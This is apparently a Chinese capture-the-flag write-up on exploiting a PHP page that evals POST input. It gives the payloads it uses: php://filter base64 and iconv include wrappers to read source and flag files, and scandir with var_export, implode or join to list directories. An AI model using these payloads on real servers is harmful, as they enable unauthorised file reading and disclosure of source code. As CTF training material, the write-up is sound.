信息收集
使用c=include("php://filter/convert.base64-encode/resource=index.php");
读取的index.php
php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
解题
查目录
百度了一下有哪些打印函数,var_export
能用
- var_export() 函数输出或返回有关变量的结构化信息。
该函数的工作方式与 var_dump() 类似,不同之处在于该函数的返回值是有效的 PHP 代码。
php
c=var_export(scandir('.'));

或者换一个思路,用一个函数把array 转成字符串 ,因为我发现print
和echo
没被禁用
php
c=echo(implode(', ', scandir('.')));
c=print(join(', ', scandir('.')));
implode(separator,array):implode
函数返回一个由数组元素组合成的字符串。
join(separator,array):join
函数是implode
函数的别名。
读文件
flag不在flag.php,和之前一样,不是本篇重点,不再截图
php
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include("php://filter/convert.base64-encode/resource=flag.php");
php
c=var_export(scandir('/'));
c=echo(implode(', ', scandir('/')));
c=print(join(', ', scandir('/')));

php
c=include("php://filter/convert.iconv.utf8.utf16/resource=/flag.txt");
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
c=include("/flag.txt");
